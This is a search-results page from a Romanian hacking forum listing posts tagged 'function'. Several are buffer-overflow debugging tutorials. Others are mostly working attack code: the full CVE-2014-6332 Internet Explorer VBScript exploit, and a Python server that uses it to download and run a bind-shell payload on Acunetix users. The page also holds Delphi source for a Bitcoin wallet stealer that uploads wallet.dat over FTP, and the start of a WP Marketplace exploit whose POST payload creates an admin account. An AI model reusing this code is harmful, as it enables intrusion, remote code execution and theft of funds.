Jump to content

Search the Community

Showing results for tags 'function'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Occupation


Interests


Biography


Location

Found 14 results

  1. Put your date in \VertexNet\Web Panel\inc\connection.inc.php Function: Dowload link: VertexNet_Wardow_Tutorial or VertexNet_Wardow_Tutorial.zip
  2. In previous articles, we got to know the basics of the Stack Based Buffer Overflow and changing the address in the run time by modifying the register value using the debugger. In this article, we will analyze another simple C program which takes the user input and prints the same input data on the screen. In this article, we will not change any values by modifying the value through debugger like we did in the last article, but we will learn how to do it by user input values. Let us have a look at the program. In the program shown in the above screen shot, we have created two functions marked as 1 and 2. The 1st is the main function of the program from where the program execution will start. In the main function, there is a command to print message on the screen, then it is calling the V1 function. The 2nd one is defining the V1 function in which we have defined an array of size 10, then there are commands to take the user input and print it back to the output screen. In the V1 function, we have used the ‘gets’ function to take the user input. The ‘gets’ function is vulnerable to buffer overflow as it cannot check whether the size of the value entered by the user is lesser or greater than the size of the buffer. So, ‘gets’ would take whatever value the user enters and would write it into the buffer. If the buffer size is small, then it would write beyond the buffer and corrupt the rest of the stack. So, let’s analyze this with a debugger. Note: You can download the EXE file here: Download Now, let’s run this program normally. We can see that our program runs perfectly and it asks to “Enter the name”. When we enter the name and hit the enter key it accepts the value without crashing the program, as the input string is less than the size of the buffer we have created. Now, let us run the program again in the same manner, but this time we will enter a value which is greater in size than the buffer size. For this we enter 35 A’s (41 is the hexadecimal representation of A), then the program throws an error and our program gets crashed. We can see the same in the below screen shot. If we click on “click here” in the window shown in the above screenshot, we can see the following type of window on the screen. By closely looking into the red box, we can see the offset is written as ‘41414141’, which is actually the hexadecimal value of A. This clearly indicates that the program is vulnerable to buffer overflow. Note: In many cases, an application crash does not lead to exploitation, but sometimes it does. So, let us open the program with the debugger and create a break point just before the function ‘V1? is called and note down the return address. The return address is actually the next instruction address from where the function call happened. We can see the same in the below screen shot. (We have already mentioned all the basics in previous articles, so we are not going to discuss basics in detail again.) We can create the break point by selecting the address and pressing the F2 key. Run the program by hitting the F9 key and then click on F7 which is Step Into. It means we have created a break point before the V1 function call, after that the function ‘V1? is called and execution control has switched to the V1 function, and the Top of the Stack is now pointing to the return address of the main function, which can be seen in the screen shot given below. Now, we will note down the written address position as well as the written address from the Top of the Stack, which is the following. Table 1 Return Address Position Address Return Address to the Main Program 0022FF5C 004013FC We will overwrite this return address with the user input data in the next step of the article. If we look at the program screen we can see ‘Main Function is called’ is being shown on the screen. Now, hit Step Over until we reach the ‘gets’ function. This can be done by pressing the F8 key. As can be seen in the above screenshot, we have reached the gets function, now the program has continued to run. When we look at the program screen, we can see the program is asking to enter the name, so enter the name and hit the enter key. As can be seen, when we enter the name and hit the enter key, then execution control has moved to the next instruction and the program has again reached the Paused state. Now, hit the Step Over (F8 Key) until we reach the RETN instruction. If we look into the window 4 now, we can see that the top of the stack is pointing to the return address which is the following. Table 2 Return Address Position Address Return Address to the Main Program 0022FF5C 004013FC Now, we will have to compare the addresses of Table 1 and Table 2. Till now nothing caused any change in the tables we created, as we did not input anything wrong in the program. So, let us restart the program again and input a very long string value into the program input and analyze the return address when the program execution control reaches the RETN instruction. We can restart the program by pressing CTRL+F2 and input 35 A’s into the program. As can be seen in the above screenshot, we have entered a very long input value in the program, now hit the F8 key (Step Over) until we will reach the RETN instruction. Now, we will create another table and note down the Top of the Stack values into the table. Table 3 Return Address Position Address Return Address to the Main Program 0022FF5C 41414141 If we compare Table 2 and Table 3 addresses, we can see return address to the main program has been replaced to 41414141 in Table 3. 41 is actually the ASCII HEX value of A. So, we can see the return address has been overwritten by the user input value A. Now think, what if we could modify the input value at this position, and write some different address which points it to a location in the memory that contains your own piece of code. In this way, we can actually change the program flow and make it execute something different. The code that we want to execute after controlling the flow is often referred to as a “SHELLCODE”. We will discuss shellcode in later articles. But the string that we have entered contains 35 A’s, we do not know which ones have overwritten the stack. We will have to identify the positions in the user input where the stack is overwritten into the memory. We can do it by entering some pattern instead of A’s. The input pattern could be anything. We will use the following pattern. A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7U8S9T0U1V2W3X4Y5Z6 In this article, we have created this pattern manually, but in further articles we will use automated Metasploit scripts to generate the pattern. Now, we need to restart the program again in the debugger and enter the above pattern as an input in the program we created. As can be seen in the above screenshot, we have entered the pattern when the program asked for the input. Now, press F8 (Step Over) until we reach the RETN instruction. As we can see in the screenshot, we have reached the RETN instruction which can be seen in screen 1, and the Top of the Stack address has been overwritten by the user input and is pointing to the value “O5P6?. So, this 4 byte data is actually the return address in the user input. So, let us verify this by replacing the “O5P6? to “BBBB” in our pattern before entering the user input. So, now according to our logic, the return address should point to “BBBB” in the memory when we reach the RETN instruction. As can be seen in the above screenshot, our B’s have been successfully written in the position where the return address should be. So, if we change our B’s to the address somewhere else in the memory, then the program execution would go to that address and execute that instruction. In this way, we can control the program flow and run our own code just by manipulating the input data. So we have understood the following things by completing this exercise: Finding and Analyzing Buffer Overflow Overwriting Stack by User Input Data Identifying the Return Address Position in User Input References https://www.owasp.org/index.php/Buffer_overflow_attack http://en.wikipedia.org/wiki/C_file_input/output http://www.exploit-db.com/ http://www.pentesteracademy.com/ https://www.corelan.be/ Source
  3. In the previous article, we learned about the basics of the Stack Based Buffer Overflow, such as analyzing the stack, creating breakpoints and analyzing the function call and registers. With the help of these skills, we will now see how we can manipulate the return addresses dynamically into the program. We will analyze a program in which a function ‘do_not_call’ is defined but has never been called throughout the program. So, our goal is to change the register address in a way so that this function is called and performs the operation which is given in the function. We will perform this task by manipulating the register addresses while the program is running. Let’s take a look at the program. We have already given the source code and the binary file of the program in the end of the article. You can download it here: Download As can be seen in the above screenshot, we have mentioned a number for each function. The description for the same is given below. First of all, we have created a function “do_not_call” which prints the message “Function do_not_call is called” by the printf command. This is another function. The name of this function is ‘function1?, which has the integer return type with one argument. In the next line we have created a local variable. This function prints the message “function1 is called”. This is the main function of the program. The program execution will begin with this function. First, we gave a command to print the message “Main function is called”, and in the next step we initialized the local variable. In the next line, we have called the ‘function1?. You must have noticed that we have not called the “do_not_call” function in our program. Let us verify it by running the program normally. As we can see in the above screenshot, when we run the program normally, it prints two messages, ‘Main Function is called’ and ‘Function1 is called’. Now, we will open the program in Immunity Debugger. After opening the program with Immunity Debugger, we can see four different screens. Each screen is showing a different kind of program data. If we scroll down the first screen we can see all assembly language instructions as well as the strings we have used in the program. You can see the same in the screenshot given below. As can be seen in the above screenshot, the main function starts by pushing the EBP resister into the memory and ends at the RETN instruction. For a better understanding, we have created a table in which we have the starting and ending address of all the functions defined in our program. Function Name Function Starting Address Function Ending Address Main Function 004013C4 00401416 Function 1 004013A4 004013C4 Do_not_call 00401390 004013A3 Now we will make a list of all the function calls taking place in the program. After analyzing the main program, we can see the following function calls: After taking a close look at the above screenshot, we find that there are four function calls in the main program. If we closely look at the functions which are being called, then in the fourth function call, we can see that it is calling to ‘Second.004013A4? in which the last 8 digit address is actually the starting address of ‘function1?. We can verify the same by checking the table we have created above. In simple terms, this statement is calling function1 as we have defined in the program source code. Now, we will create a break point to analyze the Stack, Return Addresses, etc. (We have already mentioned all the basics in the previous article, like what is a breakpoint and how do we create a breakpoint in the debugger, etc., so we are not going to cover this again in this article.) The following steps are mentioned below to further analysis. Create the breakpoint before the 4th function call. We can do this by clicking on the instruction and hitting the F2 key, after that run the program. We can run the program by pressing F9. Now, we can see the following screen in the debugger. As of now, the program execution control has reached that position where we have created the breakpoint. In screen 1, we have created the breakpoint on “00401401” and now the program has paused on this instruction. We can see in screen 2 the EIP register is pointing to the address at which we have created the breakpoint. Now we will execute the instructions step by step for understanding the concept more clearly. Let us execute the next instruction; we can do this by pressing the F7 key, which is Step into. As we can see, execution control is pointing to the next instruction in screen 1 and EIP is also pointing to the instruction address. Now, the execution control would go to address “004013A4? which is the starting address of the function1. We will now execute it and see what changes we come across. Again hit the F7 key to execute the next instruction. We get the following output screen. This step is very critical and important to understand. As can be seen in the above screenshot, the execution pointer has switched from 00401408 (No-1) to 004013A4 (No-2) which is the starting point of ‘function1?. Also, when we take a look at screen 4 we see that the Top of the Stack (No-3) is pointing the address 0040140D (No-4), which is the next instruction from the function call. This address is also called the return address to the main program. It means that after the execution of ‘function1? is complete, then the execution control would switch to this address. If we change this return address, we can actually change the order of execution of the program. So, let us change the return address in the debugger with the address of the ‘do_not_call’ function address which was in the above table. The function “do_not_call” address is: “00401390” To change the address, we will have to right click on the address and click on modify. After that, change the Hexadecimal value and then click on OK. Now, we can see our changes are reflected on screen 4. The top of the stack is pointing to the address of the ‘do_not_call’ function. This will allow us to execute the ‘do_not_call’ function, which was not supposed to be executed in the actual program. Now, we will execute each instruction step by step until we reach the RETN instruction. As we can see, program execution control has reached the RETN instruction. It means the function1 execution has completed and now the execution control will go to the main program (according to our program), but we had changed the return address in the previous step to the function ‘do_not_call’, so the execution control will go to the ‘do_not_call’ function and execute the instruction that it is defined to execute. So, let us execute next instruction step by step and we will see the ‘do_not_call’ function has successfully executed. We can verify the same by checking the output of the program. As can be seen in the above screenshot, by dynamically changing the return address of the program, we are successfully able to execute the function the program was not supposed to execute. So in this article we have learned… Monitoring and Analyzing the Register Value Analyzing Top of Stacks Changing the Return Address References https://www.owasp.org/index.php/Buffer_overflow_attack http://en.wikipedia.org/wiki/C_file_input/output http://www.exploit-db.com/ http://www.pentesteracademy.com/ Source
  4. Buffer overflow is a very common and widely known software security vulnerability. It is a condition which occurs when more data is written into a block of memory (buffer) than it is allocated to hold. As buffers are created to hold a definite amount of data, the excess information stored gets overflowed to the adjacent buffers, causing overwriting or damaging the valid data which is already stored. In order to exploit buffer overflow, one should have basic knowledge about topics like stacks, CPU registers, memory allocation, etc. As it is a very vast topic in itself, in this article we will try to understand the basics of the Stack Based Buffer Overflow. First of all, we will create a simple C program and cover the basics, like how the program runs in the memory, how the function call takes place, what is the return address, etc. So let’s start with the basics. A stack is a continuous block of memory which is used to store the temporary data within your program. The stack works on a Last in First out (LIFO) basis. PUSH and POP are the two working functions in which PUSH is used to put data into the stack and POP is used to remove the data from the stack, and it grows downwards towards lower memory addresses to higher memory addresses on Intel based systems. In Intel 32 bit architecture the maximum data size would be 4 bytes, which is equal to 32 bits for each PUSH and POP operation. Basically, the stack holds following types of data of the program. Argument to the Function Calling Function Address Return Address Local Variable and couple of other things. We will see each of them in detail further in this article. Before that, let us install some tools needed for the practical session. Here, we are using the following setup. We have configured Windows XP Service Pack 2 on Virtual Machine. Immunity Debugger (We can download it by searching Google or we can by clicking on the URL which is given in the references at the end of the article.) Dev C ++ (We can download the tool by clicking the form below.) Download Note: We are assuming that you have configured the required tools and have basic knowledge about assembly language. First of all, we will start looking at the things like function call in the memory and return address etc. from the very starting stage. We have already written a simple C program in which we have defined a function which is called from the main program. The EXE file and source code of the program are given at the end of the article. We can download the EXE and the source code of the files by clicking the URL given at the end of the article. Let’s have a look at the source code of the program so that we can understand the basic concepts. As seen in the above screen shot, we have written a simple program in which we have defined some local variables; after that we have called a function with one argument value. Then, we defined the function which will print the message – “Function is called”, then we returned value 1 to the main program. After compiling the program, we will open the program with Immunity Debugger. We can open the program by clicking the file menu or dragging the .exe file into the debugger. After that, we will see the following type of code on the screen. Now, we can see four sections on the screen. Each section represents a different type of CPU processing stat. Each section is defined below. In this section, we can see the de-assemble output of the .exe file. This section gives the information about various registers and their values. We can see the various type of registers and their values in the above screen. In this section, we can see the memory dump of the program. We can see what type of data has been written by the program into the memory. We can also edit these values dynamically according to the requirement. This is the most important part: it shows the stack status of the program. If we closely look into the screen we can see ‘paused’ written in the right corner of the window. This means that after opening the program with the debugger, the debugger has paused the program, so we will have to start the program manually. Now let’s start our analysis. The first step is to identify the main function and the other functions we have defined in the program, which are then loaded into the computer memory. If we scroll down in the first area, which is the de-assemble output of the program, we can see the ASCII main function with the EXE name and another function with the assembly language code. In our case the EXE file name was First.exe so we can see the same on the screen with some extra value. In the above screenshot we have pointed to some numbers. These numbers are defined in the below section for better understanding. This is the main function in the assembly language. We can see it in the screenshot name “First.xxxxx ASCII “Main Function””. In this case, First.xxx is the name of the .exe file we have loaded into the debugger. In the left hand side, we can see the memory address according to each assembly instruction. This is basically the physical memory address of the instruction. 00401290 is the address in our case in which the program has been started. And 004012DA is the address (in our case) in the memory where the program has finished. It is the function call from the main program. This line is basically calling the function which we have defined in the C program. When we closely look at the main function call, we can see that it is calling the “First.004012D3? in which the last 8 digits are the address of the function which will be called. In the end, we can see the function loaded into the memory, which is printing the value “Function is called” through the printf function, which has been called from the program. The function has started by pushing the EBP register into the stack. In our case, the starting address of the function is “004012DE”, and the function completion address is “004012FE”. Both the addresses can be seen in the above screenshot. It is the most important part, as we will see how we can define the break point in the program. A break point helps us to freeze the program at that location and allows us to analyse things like register status, stack and frame pointer. It also allows us to change the values dynamically. So, let us create a break point just before the function call. We can set the break point by selecting the row by just clicking on it and pressing F2 for creating the break point. As shown in the above screenshot after creating the break point, the row has been highlighted. Now, we need to start the program. We can do it by hitting the F9 key. We will see some changes in the numbers on the screen. In the above screenshot we can see that the stack value has been changed and the register value has also been changed. Another interesting thing is the EIP register which holds the value at which we had set the break point. Now, we will have to use two options. Step Into Step Over Step Into: when we want to execute the next instruction after creating the break point, then we will have to use Step Into. The keyboard shortcut key for Step Into is F7. Step Over: Sometimes we do not want to get into the details of the function call, so in such situations we can use Step Over. The keyboard shortcut key for Step Over is F8. Now, we have to go to the next instruction, so press the F7 key as mentioned in the above step. Let us analyse the stack now. As shown in the above screenshot, nothing interesting is showing in window no 4, but we can see in window no 1 that the next instruction has been executed, and the next instruction address has been assigned into the EIP register in window no 2. We will execute the next instruction by pressing the F7 key. After this step, the screen will look like this: We can see that the next instruction has been executed and we can see lots of changes in the screen. First of all, we have noticed that the instruction executed controller has reached the address given in the previous call function. This is visible in window no 1. When we closely look into window no 4, at the top of the stack we can see the address 004012D4, which is the return address to the main program. It means after the function execution has completed, by using this address the counter will go to the main program and the program execution gets completed. So in this article we have learned… Analysing the Stack Creating the Break Point Analysing the Function Call and Register Status. References IMMUNITY : Knowing You're Secure https://www.owasp.org/index.php/Buffer_Overflows Buffer overflow - Wikipedia, the free encyclopedia Stack buffer overflow - Wikipedia, the free encyclopedia http://www.bloodshed.net/dev/devcpp.html Source
  5. //* allie(win95+ie3-win10+ie11) dve copy by yuange in 2009. https://twitter.com/yuange75 http://http://hi.baidu.com/yuange1975 *// <!doctype html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" > <head> </head> <body> <SCRIPT LANGUAGE="VBScript"> function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "notepad.exe" end function </script> <SCRIPT LANGUAGE="VBScript"> dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim win9x dim intVersion dim rnda dim funclass dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if(instr(info,"Win64")>0) then exit function end if if (instr(info,"MSIE")>0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) else exit function end if win9x=0 BeginInit() If Create()=True Then myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) if(intVersion<4) then document.write("<br> IE") document.write(intVersion) runshellcode() else setnotsafemode() end if end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False For i = 0 To 400 If Over()=True Then ' document.write(i) Create=True Exit For End If Next end function sub testaa() end sub function mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redim Preserve aa(a0) end function function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+&h134) for k=0 to &h60 step 4 j=readmemo(i+&h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function function Over() On Error Resume Next dim type1,type2,type3 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.123456789012345678901234567890 aa(a0)=10 If(IsObject(aa(a1-1)) = False) Then if(intVersion<4) then mem=cint(a0+1)*16 j=vartype(aa(a1-1)) if((j=mem+4) or (j*8=mem+8)) then if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if else redim Preserve aa(a0) exit function end if else if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if end if end if If(type1=&h2f66) Then Over=True End If If(type1=&hB9AD) Then Over=True win9x=1 End If redim Preserve aa(a0) end function function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0) end function </script> </body> </html>
  6. Usually I don't post things like this, but because KiFastSystemCall hooking only works on x86 systems and doesn't work on Windows 8 or above, it no longer has much use in malware. There are also multiple public implementations for this method, just not very elegant, which I hope to correct. If you haven't read my previous article about this topic, or need a refresher, you can find it here. Performing a System Call KiFastSystemCall has a very strange calling convention (if you can call it that). Each native function (Ex: NtCreateFile) corresponds to a function with the same name in the SSDT. In order to make the transition from user mode to kernel mode, the instruction "sysenter" is used. I don't want to go into great detail on how the sysenter instruction actually enters kernel mode, as that would take up the entire page, but I'll explain the basics: The SSDT is an array of addresses for each native function. The number you see being moved into the eax register is known as its ordinal, and is the position within the SSDT where that functions address is located. When the sysenter instruction is executed the kernel reads the ordinal from eax and uses it to call the corresponding function in the SSDT, before returning execution to usemode. Something important to note is that the native function simply calls KiFastSystemCall and doesn't even set up a stack frame, meaning the address of the first parameter can only be accessed using [esp+8], so we can't just hook KiFastSystemCall with a C function, as this matches no standard calling convention (which is what makes the method so tricky to implement). Dispatching Calls Since the last article I've improved on the dispatching method, which now has two purposes: Determining which native function made the call to KiFastSystemCall, so we can properly handle it. Setting up the stack in such a way that we can access the parameters using plain C. Dispatching Normally we'd hook each individual function we want to intercept with a single handler (proxy), but all native functions call KiFastSystemCall, so we need to think differently. As I explained earlier, the SSDT is an array of addresses and the ordinal (which is in eax when KiFastSystemCall is invoked), corresponds to the position of that function's address within the SSDT. Using this knowledge we can do the same: We create an array of addresses for the the proxy functions and use the ordinal to locate the correct handler using the ordinal in eax. For our SSDT each entry will be 8 bytes, so the handler needs to be placed at our_ssdt[2*ordinal] (in order to get the ordinal for a native function we just read 4 bytes starting at the 2nd byte of the function). You're probably wondering why each entry for our SSDT is 8 bytes, instead of 4; this is because in order to set up the stack before calling the proxy, we need to know how many parameters were passed to KiFastSystemCall (we store the proxy address as the first 4 bytes and the number of parameter as the rest). Preparing the Stack When KiFastSystemCall is invoked, there are two return addresses between the stack pointer and the function parameters (the return from KiFastSystemCall to the native function and the return from the native function). In order to call the proxy function we will get the number of parameter for the function from our_ssdt[2*ordinal+4] and push them to the stack again, in stdcall format (the proxy function is responsible for removing them from the stack). The last thing that is pushed to the stack before we call the proxy is the eax register (the ordinal), we will need this later if we wish to call the original, non hooked, version of KiFastSystemCall. The Code FstHook - This is my own C library which allows a program to easily hook any number of native function using a single hook on KiFastSystemCall. https://github.com/MalwareTech/FstHook/ Source
  7. #!/usr/bin/python import BaseHTTPServer, sys, socket ## # Acunetix OLE Automation Array Remote Code Execution # # Author: Naser Farhadi # Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909 # # Date: 27 Mar 2015 # Version: <=9.5 # Tested on: Windows 7 # Description: Acunetix Login Sequence Recorder (lsr.exe) Uses CoCreateInstance API From Ole32.dll To Record # Target Login Sequence # Exploit Based on MS14-064 CVE2014-6332 http://www.exploit-db.com/exploits/35229/ # This Python Script Will Start A Sample HTTP Server On Your Machine And Serves Exploit Code And # Metasploit windows/shell_bind_tcp Executable Payload # And Finally You Can Connect To Victim Machine Using Netcat # Usage: # chmod +x acunetix.py # ./acunetix.py # Attacker Try To Record Login Sequence Of Your Http Server Via Acunetix # nc 192.168.1.7 333 # Payload Generated By This Command: msfpayload windows/shell_bind_tcp LPORT=333 X > acunetix.exe # # Video: https://vid.me/SRCb ## class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(req): req.send_response(200) if req.path == "/acunetix.exe": req.send_header('Content-type', 'application/exe') req.end_headers() exe = open("acunetix.exe", 'rb') req.wfile.write(exe.read()) exe.close() else: req.send_header('Content-type', 'text/html') req.end_headers() req.wfile.write("""Please scan me! <SCRIPT LANGUAGE="VBScript"> function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/acunetix.exe',\ 'acunetix.exe');$(New-Object -com Shell.Application).ShellExecute('acunetix.exe');" shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0 end function dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim win9x dim intVersion dim rnda dim funclass dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if(instr(info,"Win64")>0) then exit function end if if (instr(info,"MSIE")>0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) else exit function end if win9x=0 BeginInit() If Create()=True Then myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) if(intVersion<4) then document.write("<br> IE") document.write(intVersion) runshellcode() else setnotsafemode() end if end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False For i = 0 To 400 If Over()=True Then ' document.write(i) Create=True Exit For End If Next end function sub testaa() end sub function mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redim Preserve aa(a0) end function function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+&h134) for k=0 to &h60 step 4 j=readmemo(i+&h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function function Over() On Error Resume Next dim type1,type2,type3 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.123456789012345678901234567890 aa(a0)=10 If(IsObject(aa(a1-1)) = False) Then if(intVersion<4) then mem=cint(a0+1)*16 j=vartype(aa(a1-1)) if((j=mem+4) or (j*8=mem+8)) then if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if else redim Preserve aa(a0) exit function end if else if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if end if end if If(type1=&h2f66) Then Over=True End If If(type1=&hB9AD) Then Over=True win9x=1 End If redim Preserve aa(a0) end function function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0) end function </script>""") if __name__ == '__main__': sclass = BaseHTTPServer.HTTPServer server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler) print "Http server started", socket.gethostbyname(socket.gethostname()), 80 try: server.serve_forever() except KeyboardInterrupt: pass server.server_close() Source
  8. Ce parere aveti despre wallet stealer-ul asta https://leakforums.org/thread-232703 program dbs; // Bitcoin Stealer // developed by Jimmy // for http://exclusivehackingtools.blogspot.com {$IF CompilerVersion >= 21.0} {$WEAKLINKRTTI ON} {$RTTI EXPLICIT METHODS([]) PROPERTIES([]) FIELDS([])} {$IFEND} uses Windows, System.SysUtils, System.Classes, ShlObj, IdFTP, Registry; // Function to set the window state hidden function GetConsoleWindow: HWND; stdcall; external kernel32 name 'GetConsoleWindow'; // Function to get the AppData path function AppDataPath: String; const SHGFP_TYPE_CURRENT = 0; var Path: array [0 .. MAXCHAR] of char; begin SHGetFolderPath(0, CSIDL_LOCAL_APPDATA, 0, SHGFP_TYPE_CURRENT, @path[0]); Result := StrPas(Path); end; // Function to check a file size function FileSize(FileName: wideString): Int64; var sr: TSearchRec; begin if FindFirst(FileName, faAnyFile, sr) = 0 then Result := Int64(sr.FindData.nFileSizeHigh) shl Int64(32) + Int64(sr.FindData.nFileSizeLow) else Result := -1; FindClose(sr); end; // Function to generate random string function RandomString(PLen: Integer): string; var str: string; begin Randomize; str := 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; Result := ''; repeat Result := Result + str[Random(Length(str)) + 1]; until (Length(Result) = PLen); end; // ============================================================================ var Debug: Boolean; FTP: TIdFTP; REG: TRegIniFile; RegPath, RegValue, RegCurrentValue, Path, UploadPath, FileName: String; Error: String; begin // The window should be hidden without using this API ShowWindow(GetConsoleWindow, SW_HIDE); // Debug or build release ? Debug := True; // Set registry key value (random) RegValue := '6556'; // At the end of the first execution we will write a key in the registry. // Now we will try check if the key exists. If yes, it means // that the wallet has already be stolen. Avoid useless duplicates. try REG := TRegIniFile.Create; REG.RootKey := HKEY_CURRENT_USER; REG.OpenKeyReadOnly('Software'); RegCurrentValue := REG.ReadString('Google', 'Version', ''); REG.CloseKey; REG.Free; except end; // Check if wallet has been already stolen (to avoid duplicates) if not(RegCurrentValue = RegValue) then begin try // Generate path to Bitcoin wallet file if Win32MajorVersion >= 6 then // Microsoft Windows Vista and newer Path := ExpandFileName(AppDataPath + '\..\Roaming\Bitcoin\wallet.dat') else // Microsoft Windows XP Path := ExpandFileName(AppDataPath + '\..\Bitcoin\wallet.dat'); // If wallet file exists, check the FileSize (skip large file > 10MB) if FileExists(Path) then if FileSize(Path) < 10000000 then begin // Generate a random filename FileName := RandomString(20) + '.dat'; // Initialize upload via Indy FTP component FTP := TIdFTP.Create(); FTP.ConnectTimeout := 20000; FTP.ReadTimeout := 20000; // Setup with your FTP details FTP.Host := 'ftp.host.com'; FTP.Username := 'username'; FTP.Password := 'password'; UploadPath := 'www/'; // Connect and upload if not Debug then begin FTP.Connect; FTP.Put(Path, UploadPath + FileName); end; // After upload attempt, disconnect and free the FTP component FTP.Quit; FTP.Disconnect; FTP.Free; // Try to add a key to registry to avoid double execution try REG := TRegIniFile.Create; REG.RootKey := HKEY_CURRENT_USER; REG.OpenKey('Software', True); REG.WriteString('Google', 'Version', RegValue); REG.CloseKey; REG.Free; except end; end; except // Catch error, you never know... on E: Exception do Error := E.ClassName + ': ' + E.Message; end; end; end.
  9. #!/usr/bin/python # # Exploit Name: WP Marketplace 2.4.0 Remote Command Execution # # Vulnerability discovered by Kacper Szurek (http://security.szurek.pl) # # Exploit written by Claudio Viviani # # # # -------------------------------------------------------------------- # # The vulnerable function is located on "wpmarketplace/libs/cart.php" file: # # function ajaxinit(){ # if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){ # if(function_exists($_POST['execute'])) # call_user_func($_POST['execute'],$_POST); # else # echo __("function not defined!","wpmarketplace"); # die(); # } #} # # Any user from any post/page can call wpmp_pp_ajax_call() action (wp hook). # wpmp_pp_ajax_call() call functions by call_user_func() through POST data: # # if (function_exists($_POST['execute'])) # call_user_func($_POST['execute'], $_POST); # else # ... # ... # ... # # $_POST data needs to be an array # # # The wordpress function wp_insert_user is perfect: # # http://codex.wordpress.org/Function_Reference/wp_insert_user # # Description # # Insert a user into the database. # # Usage # # <?php wp_insert_user( $userdata ); ?> # # Parameters # # $userdata # (mixed) (required) An array of user data, stdClass or WP_User object. # Default: None # # # # Evil POST Data (Add new Wordpress Administrator): # # action=wpmp_pp_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator # # --------------------------------------------------------------------- # # Dork google: index of "wpmarketplace" # # Tested on WP Markeplace 2.4.0 version with BackBox 3.x and python 2.6 # # Http connection import urllib, urllib2, socket # import sys # String manipulator import string, 